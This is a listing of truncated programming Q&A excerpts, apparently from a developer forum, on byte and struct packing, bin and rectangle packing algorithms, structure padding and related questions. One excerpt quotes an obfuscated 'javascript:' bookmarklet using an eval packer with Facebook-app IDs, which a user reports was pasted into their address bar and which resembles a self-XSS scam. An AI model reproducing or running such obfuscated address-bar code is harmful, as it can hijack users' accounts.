In beej's guide to networking there is a section of marshalling or packing data for Serialization where he describes various functions for packing and unpacking data (int,float,double ..etc).
It is easier to use union(similar can be defined for float and double) as defined below and transmit integer.pack as packed version of integer.i, ...
Hi guys
I am attempting to overlay images on top of a background image using the standard java utilities. See the pictures below...
I have code that seems to create the background image (can you verify that it really works?)
And I have created an extension of JPanel that I use to display images (the class is called ImagePanel)
However...
I need to generate formatted text packing slips for a Ruby on Rails project I'm working on. I'm considering using Ruport or just formatting it myself in a string and outputting it to text. The only challenge is justifying all of the output appropriately. It needs to look something like this, always aligned properly. Any recommendations?
...
hello
I have need to pack four signed bytes into 32-bit integral type.
this is what I came up to:
int32_t byte(int8_t c) { return (unsigned char)c; }
int pack(char c0, char c1, ...) {
return byte(c0) | byte(c1) << 8 | ...;
}
is this a good solution? Is it portable (not in communication sense)?
is there a ready-made solution, perha...
Hi,
I'm rolling a deferred shader pipe, and due to the need to keep the G-buffers in a unified format a need to compress attributes is needed. I've sadly been unable to find some good information on how this actually is done.
I have a G-buffer format that uses 16 bits per component in a fixed point format. Sadly as I target shader mode...
"Unsigned int" into a short and back. Is this possible? How to do it if so?
Grrrr. I forgot how signed numbers are implemented. The question makes no sense. Thanks anyway. I was going to downvote myself, you can do it instead.
...
Anybody know of an efficient algorithm for moving rectangles in a square which contains obstacles?
Rectangles:
can rotate
can move/teleport
must not collide with obstacles (black squares)
Obstacles:
can't be moved
can be added anywhere
Goal: when obstacle is added, try to move rectangles so that they don't collide with any of ob...
Hi!
I have problem of packing 2 arbitrary polygons. I.e. we have 2 arbitrary polygons. We are to find such placement of this polygons (we could make rotations and movements), when rectangle, which circumscribes this polygons has minimal area.
I know, that this is a NP-complete problem. I want to choose an efficient algorithm for solvin...
I'm stuck on this: Have a square. Put n points into this square so the minimal distance (not necessary the average distance) is the highest possible.
I'm looking for an algorithm which would be able to generate the coordinates of all points given the count of them.
Example results for n=4;5;6:
Please don't mention computing-power ba...
I need to emulate the window placement strategy of the Fluxbox window manager.
As a rough guide, visualize randomly sized windows filling up the screen one at a time, where the rough size of each results in an average of 80 windows on screen without any window overlapping another.
If you have Fluxbox and Xterm installed on your system,...
I am compiling a kernel module, containing a structure of size 34, using the standard command.
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
The sizeof(some_structure) is coming as 36 instead of 34 i.e. the compiler is padding the structure.
How do I remove this padding?
Running make V=1 shows the gcc compiler options pas...
typedef enum BeNeLux
{
BELGIUM,
NETHERLANDS,
LUXEMBURG
} _ASSOCIATIONS_ BeNeLux;
When I try to compile this with C++ Compiler, I am getting errors, but it seems to work fine with a C compiler. So here's the question. Is it possible to pack an enum in C++, or can someone see why I would get the error?
The error is:
"semico...
This is the code that was copied and pasted into my address bar:
javascript:(function()
{a='app117970624901700_jop';b='app117970624901700_jode';ifc='app117970624901700_ifc';ifo='app1179
70624901700_ifo';mw='app117970624901700_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return
(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCh...
i was wondering if the solution for this documented here is still the solution or is there any other way getting an int from 4 bytes?
thank you.
EDIT: im getting the byte[] from sockets .read
EDIT: int recvMsgSize = in.read(Data, 0, BufferSize); if recvMsgSize is -1 i know the connection has been dropped.
how do i detect this when im...
I am trying to activate #pragma pack(push, 8) on ubuntu 10.4 (8.10 would also be nice), which uses gcc 4.4.3, but I can't get it to work. Is there something more that need to be done?
There is not even a warning if I compile with -Wunknown-pragmas so gcc seems at least to acknowledge it as a known pragma.
It would be nice to use the pa...
Hi,
I was wondering if anyone knows of any algorithms suited to fitting together N number of rectangles of unknown size into the smallest possible containing rectangle.
By optimal I mean with reducing the amount of white space left over in the resulting containing rectangle.
I would like to use this to generate css sprites from a ser...
Hi everyone, I have a problem:
Given an array nxm that contains 0's or 1's, I need group the 0 values
into rectangles. At the beginning, I was used a simple quadtree, but
different nodes in the same level of the tree have the same value. I'm
not totally sure if the R-tree works for my problem or another data
structure because I just will...
I'm faced with a Shelf Packing problem and am currently conducting some preliminary research as to which algorithms/heuristics are currently yielding the best results. Since the problem is NP hard I do not expect to find the optimal solution in every case, but I was wondering:
1) what are the best algorithms?
2) what are the best heuri...
The struct module is useful when you're trying to convert data to and from binary formats. However, recently I came across a file format specification that uses the binary16 floating point format. I looked through the Python documentation, but can't find anything that can convert to and from it. What would be the best way to convert this...
OK so I decided to work somemore on my test files in Java.. I decided to .rar up the folder from my Home PC and bring it to my Work PC. The problem? When I compile -- I get:
C:\Documents and Settings\djasnowski\Desktop\gJson\readGoogle.java:1: package com.google.gson does not exist
import com.google.gson.*;
^
C:\Documents and Settings\...